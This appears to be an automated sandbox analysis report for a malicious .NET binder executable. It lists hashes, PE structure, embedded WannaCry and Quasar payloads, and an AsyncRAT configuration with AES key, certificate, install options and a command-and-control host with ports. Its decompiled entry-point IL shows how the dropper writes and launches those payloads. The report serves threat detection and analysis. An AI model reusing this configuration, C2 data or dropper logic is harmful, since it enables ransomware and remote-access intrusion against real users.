Malicious
Malicious

23012fdfae8f3a12379e28d91663987c

PE Executable
|
MD5: 23012fdfae8f3a12379e28d91663987c
|
Size: 4.85 MB
|
application/x-dosexec


Print
Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Very low

Hash
Hash Value
MD5
23012fdfae8f3a12379e28d91663987c
Sha1
94028e31d93a623891495c6070f758e36146e08e
Sha256
9ce0019bf338d8ee9c2760d9dd677f6f72aad8de129270b4ab1af51d8f11b710
Sha384
109a97c142cb013d5f4410cc07a6deed55840fb1b4aeac295e6c04e16d48702f39ecd7b916baf1bac25d6e0546e4c7c8
Sha512
9e44178f7d3fe52f126fa0ae77f6573ae065065c649cb51e4473b99005ea3121654d87dc4b0b899230b9b628b99fd934b593cec0dec39ba065afc1c4629d475a
SSDeep
98304:8CWgM+Ld3M+primB7+W4p8Jr92iSzzMu7NALVZM:bDZriRWkMr9qklHM
TLSH
852644E15E7164BDFA5CD96D20A925032A629CBC85D4E48F0CC6ACB0247C7B0DFA1ED7

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Malicious
cszj.Resources
Malicious
@WanaDecryptor@.exe
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rdata
.data
.rsrc
Resources
RT_BITMAP
ID:0086
ID:1033
ID:0087
ID:1033
ID:0088
ID:1033
RT_ICON
ID:0001
ID:1033
ID:0002
ID:1033
ID:0003
ID:1033
RT_DIALOG
ID:0066
ID:1033
ID:0089
ID:1033
ID:008A
ID:1033
ID:008D
ID:1033
ID:008F
ID:1033
RT_GROUP_CURSOR4
ID:0080
ID:1033
ID:008B
ID:1033
RT_VERSION
ID:0001
ID:1033
RT_MANIFEST
ID:0001
ID:1033
RT_DLGINIT
ID:0066
ID:1033
LOR.exe
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Quasar.Client.Properties.Resources.resources
ILRepack.List
World.exe
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Malware Configuration - XBinder config.
Config. Field
Value
ref_elem_0x0000000E

World.exe-=>True-=>False

ref_elem_0x00000016

LOR.exe-=>True-=>False

ref_elem_0x0000001E

@WanaDecryptor@.exe-=>True-=>False

Workpath

%AppData%

SPL

-=>

Mutex

Pgay2ZuUcpniBLr5U

Malware Configuration - AsyncRAT config.
Config. Field
Value
Key (AES_256)

aFl0bVBBQm10eXFGZkE5TFYwZm41dGhqcHBhbUhkNWc=

Pastebin

-

Certificate

MIIE8jCCAtqgAwIBAgIQAOD7cV0bLhEBFPJUOT6P5TANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjYwNTA2MTgwNzQ2WhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNlcnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBALbogjSQruWZ6e0W50t6xywM9nWyeqB6w3E9sv4fVJXMYwr9+6VRn2+Ki0AZeEzTe+wEfgJ4mqX43+hYHMOORcyIlSPFiGT4Mmkr4PFr4j2qkdDWmIXU+8ntHW11259TEzscd4tCXZTcPwxqZvNuzYcHPIRieF+7mwR1Sd8I+vK0sb/6qxyvs4IBmRHvwfMjNQCqAns0/hG9udrcKLOA1VH1THpUs0lqqsOcAus0jQyZ+JBESBzrKlyZLRq+DnP6nHQMZfK5Y/tsNgI+QDZtCOXhRmhV+/75j8jI9jw/M0zfefSRXrgH3EdqyJ1DDJD3opv8jvSD6LjYjV1gSqNESwCysBnlOROWj4TEH9/J1T2xumjHOB+jOHfT1lGVjKt07vJv4sPQmG29cnZkgvX+04awtESinsWd/N3TLSPzQcmCxfcby4mOcA9ENpqxgpbHfnF6iwlMySHUx7Zev7a88+8viNiCgPCiMR+KZ2skp+q4Glv6S1ps+imkvFmpw1Mkzchw88kqNNCNmZfv0iM99TcechVO18QwHQOEgqd5dnrMsCz1wFSG4cTBR2yQIUCbwkp4WLVdTLX9wnXLuAY9/9pPpmVHS5lX1QAkf174nk+q8G7jiC34z5WsQhBPIrbgz0f35PjG7aWnoLCQmrmrA0FfWbSMqJPz8ACnZG1hWV59AgMBAAGjMjAwMB0GA1UdDgQWBBTEvxDfZyOhxLqEqvaD9fMUgotbojAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4ICAQBdhNBK8ZWmC6/XFqR6PyP3rCng2FylxxPWwjR0Y28fqDYFCigKuJ47wvF6VrJMD53xeLVODBbpVLHatiZFty39HWlool+VBGOAUoT/ZLuEZngviKIDWQMBJ/VGRj5LbzUV4ewAp4pj5nyjCxyR6NKJInwXo9U9SCENkWZgPP23CBzuoIY6eLaDImIlJdhZy1MEgqZgJInL802g1tt8twM3aAnWOHqd4dynfwnsUbGmiLYEOFDPkwMtV60dm3faknS7zX5FRwcyUpfvT6O3q8CrNOVVxgV1W7llDB8sZ7f8r7a22uVZAGMVUhW8bUVgPJbYPX525ihinHeNGuA+oG4h36Jecb/FRGOud/DkW3A/TfVkP/CD2QI2Zcebc4zdTxplERVtQruP+pIEu5dtFbl1izw0LFQ33v5yTHHYktLSFR6Q3TDIFArSPjDZ+M3E4oWg9uYWaaR0ZN0lluYEtTHdPp8KnVDpI4vUNph1o/Ku00DOeMC0Ji7cT/Gt0RFJwxplVxHJgH5WXhaIbQWqu+pEpRQvaHHPZenIrzklP96bbs92mpS0i2ehhJKJRaTNWl/1ENNE8qTy133E1oqqCrRFp4W2PaavI8FzO1GqUAAATIE8MmbScEWxX8cMCHgoQhMa8/nAIgzIyIr84auhmRQCyCMRCA3rKPAxEY6kYXfYnA==

ServerSignature

QpdVABtQJP6N4Ekir/sUnfajiBbZaWUByKP4Z08qD1+4nCVTT/Tw1hXUgqYEsEf5ZR607/D7/XR8aDBVX16zL/RzVctcWItQmwkZQMuMtzWHPQ/VEc7epY4H7+4SOKXFn/FOPAJ4mCyt1Jf96uYvLU+2+/yfyZNYPdjkl9LQ2M7VZcT+1zM/M2gKhVxsFBfvMvEgnBSCSa8wxF92ZBqHPGW0T5KhgWgTxo9XBr9C9hf3ScjaVe8YkwIlwF6BLVtMUaN9H+oqlpOoKHMm6jUIIP+XvSE6+Jv4jLW3242QxEnZ7ehSN7mBexIJoPuCFDfVQeGaLVIFz+reUDfkZLI6xCQil+zOixkstNUNXqEW4ScmV71SlwY/Nz8GP27WRjtZwIAOQql3eLakT5ZMbz5/oClrg2xN0w45LfzCxAxCv499TlagRIq4QhQlaS82VBpt+OFAkFL+FdOOzqMbBx4fsajfPxsNlCHSdt/QhEs1OY47zwoS2BKuYrVwAwndJ+QZE9O8tj/pLhtOZC3zpan7nmDYQy69+OLN8cWEdXPi+DApbPw/pcjgrE72O5B+ShhTMGj1vgN3jjdYIcUdU1jM+OPYLCOHioWOGSbRL3eMqIO64a+XeaXK82VcL27w33xqBi3gBP5/l55kh2I6h8YEtbqymtk1Sx6VrTlCgwyVCJM=

Install

true

BDOS

true

Anti-VM

true

Install File

system.exe

Install-Folder

%AppData%

Version

0.5.6A

Hosts

mestizo.co.com

Ports

80,443,6606,7707,8080,8808

Mutex

mestizo.co.com

Delay

5

Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

norah.ns.cloudflare.com.exe

Full Name

norah.ns.cloudflare.com.exe

EntryPoint

System.Void Program::Main()

Scope Name

norah.ns.cloudflare.com.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

norah.ns.cloudflare.com

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

12

Main Method

System.Void Program::Main()

Main IL Instruction Count

159

Main IL

ldc.i4.1 <null> stloc.s V_5 call System.Boolean Program::CreateMutex() brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ldc.i4.2 <null> stloc.s V_5 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ldc.i4.1 <null> stloc.3 <null> ldc.i4.5 <null> stloc.s V_5 ldsfld System.Collections.Generic.List`1<System.String> Program::List callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.2 <null> br IL_0130: ldloca.s V_2 ldloca.s V_2 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.0 <null> ldc.i4.6 <null> stloc.s V_5 ldsfld System.String Program::Workpath call System.Object Program::GETP(System.String) ldstr \ call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object) ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String Program::SPL ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stloc.1 <null> ldc.i4.7 <null> stloc.s V_5 ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String Program::SPL ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.2 <null> ldelem.ref <null> ldstr True ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un.s IL_00CB: ldc.i4.s 13 ldc.i4.8 <null> stloc.s V_5 ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brtrue.s IL_00C9: br.s IL_0123 ldc.i4.s 9 stloc.s V_5 ldloc.1 <null> ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String Program::SPL ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Byte[] Program::GetTheResource(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4.s 10 stloc.s V_5 ldloc.1 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> br.s IL_0123: ldc.i4.s 19 ldc.i4.s 13 stloc.s V_5 ldc.i4.s 14 stloc.s V_5 ldloc.1 <null> ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String Program::SPL ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Byte[] Program::GetTheResource(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4.s 15 stloc.s V_5 ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String Program::SPL ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.1 <null> ldelem.ref <null> ldstr True ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un.s IL_0123: ldc.i4.s 19 ldc.i4.s 16 stloc.s V_5 ldloc.1 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> ldc.i4.s 19 stloc.s V_5 call System.Void System.GC::Collect() ldc.i4.s 20 stloc.s V_5 ldloca.s V_2 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() brtrue IL_002D: ldloca.s V_2 ldloca.s V_2 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() leave IL_01F8: ldloc.s V_4 ldloc.s V_4 br.s IL_0156: ldc.i4.0 ldloc.s V_4 ldc.i4.1 <null> add <null> ldc.i4.0 <null> stloc.s V_4 switch dnlib.DotNet.Emit.Instruction[] leave.s IL_01ED: ldc.i4 -2146828237 ldloc.s V_5 stloc.s V_4 ldloc.3 <null> switch dnlib.DotNet.Emit.Instruction[] leave.s IL_01ED: ldc.i4 -2146828237 isinst System.Exception ldnull <null> cgt.un <null> ldloc.3 <null> ldc.i4.0 <null> cgt.un <null> and <null> ldloc.s V_4 ldc.i4.0 <null> ceq <null> and <null> endfilter <null> castclass System.Exception call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) leave.s IL_01B8: ldloc.s V_5 ldc.i4 -2146828237 call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32) throw <null> ldloc.s V_4 brfalse.s IL_0201: ret call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ret <null>

Module Name

norah.ns.cloudflare.com.exe

Full Name

norah.ns.cloudflare.com.exe

EntryPoint

System.Void Program::Main()

Scope Name

norah.ns.cloudflare.com.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

norah.ns.cloudflare.com

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

12

Main Method

System.Void Program::Main()

Main IL Instruction Count

159

Main IL

ldc.i4.1 <null> stloc.s V_5 call System.Boolean Program::CreateMutex() brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ldc.i4.2 <null> stloc.s V_5 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ldc.i4.1 <null> stloc.3 <null> ldc.i4.5 <null> stloc.s V_5 ldsfld System.Collections.Generic.List`1<System.String> Program::List callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.2 <null> br IL_0130: ldloca.s V_2 ldloca.s V_2 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.0 <null> ldc.i4.6 <null> stloc.s V_5 ldsfld System.String Program::Workpath call System.Object Program::GETP(System.String) ldstr \ call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object) ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String Program::SPL ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stloc.1 <null> ldc.i4.7 <null> stloc.s V_5 ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String Program::SPL ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.2 <null> ldelem.ref <null> ldstr True ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un.s IL_00CB: ldc.i4.s 13 ldc.i4.8 <null> stloc.s V_5 ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brtrue.s IL_00C9: br.s IL_0123 ldc.i4.s 9 stloc.s V_5 ldloc.1 <null> ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String Program::SPL ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Byte[] Program::GetTheResource(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4.s 10 stloc.s V_5 ldloc.1 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> br.s IL_0123: ldc.i4.s 19 ldc.i4.s 13 stloc.s V_5 ldc.i4.s 14 stloc.s V_5 ldloc.1 <null> ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String Program::SPL ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.0 <null> ldelem.ref <null> call System.Byte[] Program::GetTheResource(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4.s 15 stloc.s V_5 ldloc.0 <null> call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) ldsfld System.String Program::SPL ldc.i4.m1 <null> ldc.i4.0 <null> call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod) ldc.i4.1 <null> ldelem.ref <null> ldstr True ldc.i4.0 <null> call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean) ldc.i4.0 <null> bne.un.s IL_0123: ldc.i4.s 19 ldc.i4.s 16 stloc.s V_5 ldloc.1 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> ldc.i4.s 19 stloc.s V_5 call System.Void System.GC::Collect() ldc.i4.s 20 stloc.s V_5 ldloca.s V_2 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() brtrue IL_002D: ldloca.s V_2 ldloca.s V_2 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() leave IL_01F8: ldloc.s V_4 ldloc.s V_4 br.s IL_0156: ldc.i4.0 ldloc.s V_4 ldc.i4.1 <null> add <null> ldc.i4.0 <null> stloc.s V_4 switch dnlib.DotNet.Emit.Instruction[] leave.s IL_01ED: ldc.i4 -2146828237 ldloc.s V_5 stloc.s V_4 ldloc.3 <null> switch dnlib.DotNet.Emit.Instruction[] leave.s IL_01ED: ldc.i4 -2146828237 isinst System.Exception ldnull <null> cgt.un <null> ldloc.3 <null> ldc.i4.0 <null> cgt.un <null> and <null> ldloc.s V_4 ldc.i4.0 <null> ceq <null> and <null> endfilter <null> castclass System.Exception call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) leave.s IL_01B8: ldloc.s V_5 ldc.i4 -2146828237 call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32) throw <null> ldloc.s V_4 brfalse.s IL_0201: ret call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() ret <null>

Artefacts
Name
Value
Key (AES_256)

aFl0bVBBQm10eXFGZkE5TFYwZm41dGhqcHBhbUhkNWc=

CnC

mestizo.co.com

Ports

80

Ports

443

Ports

6606

Ports

7707

Ports

8080

Ports

8808

Mutex

mestizo.co.com

23012fdfae8f3a12379e28d91663987c (4.85 MB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙